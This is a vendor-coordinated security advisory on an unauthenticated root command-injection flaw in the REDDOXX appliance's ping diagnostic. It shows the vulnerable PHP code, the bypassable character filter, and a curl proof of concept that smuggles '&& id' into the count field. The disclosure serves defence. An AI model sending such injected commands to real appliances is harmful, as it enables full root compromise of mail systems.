RedTeam Pentesting GmbH

Remote Command Execution as root in REDDOXX Appliance

RedTeam Pentesting discovered a remote command execution vulnerability in the REDDOXX appliance software, which allows attackers to execute arbitrary command with root privileges while unauthenticated.

Details

Product: REDDOXX Appliance
Affected Versions: <= Build 2032 / v2.0.625
Fixed Versions: Version 2032 SP2
Vulnerability Type: Remote Command Execution
Security Risk: high
Vendor URL: https://www.reddoxx.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-009
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH

Introduction

“REDDOXX is a leading supplier of solutions for e-mail archiving, encrypted and digitally signed e-mail traffic as well as spam protection. Our focus is on technological innovation: taking our cue from our clients’ requirements our competent and quality-conscious employees strive to offer you the best possible products at all times. Using stringent quality standards and proven processes we keep developing our company and products continuously, with the goal of continuous improvement.”

(from the vendor’s homepage)

More Details

The administrative interface of the REDDOXX appliance (https://www.reddoxx.com/en/) offers several diagnostic tools in the “Diagnostic Center”. Ping is one of these tools. The interface for this tool contains two input fields, which allow users to specify a target host and a packet count. Through the ISO provided on the vendor’s homepage (https://my.reddoxx.com/documents/manual/en/custdl/product-downloads), it was possible to analyze how these commands are embedded into the command-line of the ping command:

function ExecuteDiag($parameter)
{
    // Here we do the main thing ...
    $cmd = "ping '" . $parameter->targetHost . "' -c " . $parameter->count;

    $this->PrintHeader();
    $this->PrintHeadLine(array('Result Message', 'Status'));
    $this->PrintOut("<tr>");

    $this->PrintOut("<td class=mytd><PRE>");
    passthru($cmd, $rc);
    $this->PrintOut("</PRE></td>");

    $this->PrintStatus($rc);
    $this->PrintOut("</tr>");
    $this->PrintEnd();

    $result = new stdClass;
    $result->ResultCode = $rc;
    $result->MessageText = "";

    $this->SaveResult($result);
}

As can be seen in the listing above, the parameters are embedded into a string stored in the variable $cmd. The target host parameter is surrounded with single quotes, while the count parameter is not.

Before the parameters are actually embedded into the ping command-line however, the following function performs a check for “illegal characters”:

public static function CheckShellParameter($parameter, $key = "")
{
    if (!is_array($parameter))
        $parameter = array($parameter);

    foreach ($parameter as $value) {
        if (preg_match("/[';<>\"]/", $value)) {
            $paramNameMsg = "";
            if ($key)
                $paramNameMsg = " in parameter '$key'";
            throw new Exception("Invalid value" . $paramNameMsg . ". Illegal characters found.", 1);
        }
    }
}

These are characters, which can be used to append additional commands to the command line. While this check prevents certain kinds of attacks, it is incomplete and can therefore be bypassed. For example, && (AND) and || (OR) operators can still be used to append additional commands to the command-line. Submitting a count target host of “127.0.0.1” and a count of “1 || id” leads to the following command-line being passed to the PHP passthru() function and executed:

ping '127.0.0.1' -c 1 || id

This causes the command “id” to be executed after the execution of the ping command is completed.

Proof of Concept

The following curl command-lines can be used to trigger the vulnerability.

First, the diagnose function ping is called as follows:

$ curl -H 'Content-Type: application/json' --data '{"Name":"Ping",'\
'"Parameter":{"targetHost":"127.0.0.1","count":"1'\
'&& echo 'REDTEAM_MARKER_START' && id && echo 'REDTEAM_MARKER_END'"}}' \
http://www.example.com/api/v1/rws/diagnose/start

Here, the count parameter “1 && echo ‘REDTEAM_MARKER_START’ && id && echo ‘REDTEAM_MARKER_END’” is submitted. The two echo commands with markers are only used to distinguish the output of the “id” command in the final result, which can be retrieved and displayed using the following curl command-line:

$ curl --silent -H 'Accept: application/json' \
http://www.example.com/api/v1/rws/diagnose/result/Ping | jq .Output | \
sed 's;.*REDTEAM_MARKER_START\\n\(.*\)\\nREDTEAM_MARKER_END.*;\1;' | \
sed 's/\\n/\n/g'
uid=0(root) gid=0(root) groups=0(root)

Workaround

None

Fix

Update the appliance software to Version 2032 SP2.

Security Risk

The diagnostic functions offered by the REDDOXX appliance allow attackers to execute arbitrary commands. Since the commands are executed with root privileges and no authentication is required, this is rated as a high risk.

Timeline

2017-05-17 Vulnerability identified
2017-05-23 Customer approved disclosure of vulnerability
2017-05-26 Customer provided details of vulnerability to vendor
2017-07-20 Vulnerability reported as fixed by vendor
2017-07-24 Advisory released

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/

Working at RedTeam Pentesting

RedTeam Pentesting GmbH is looking for more penetration testers to join our team. If you are interested in working for RedTeam Pentesting in Aachen, please visit the respective section of our website.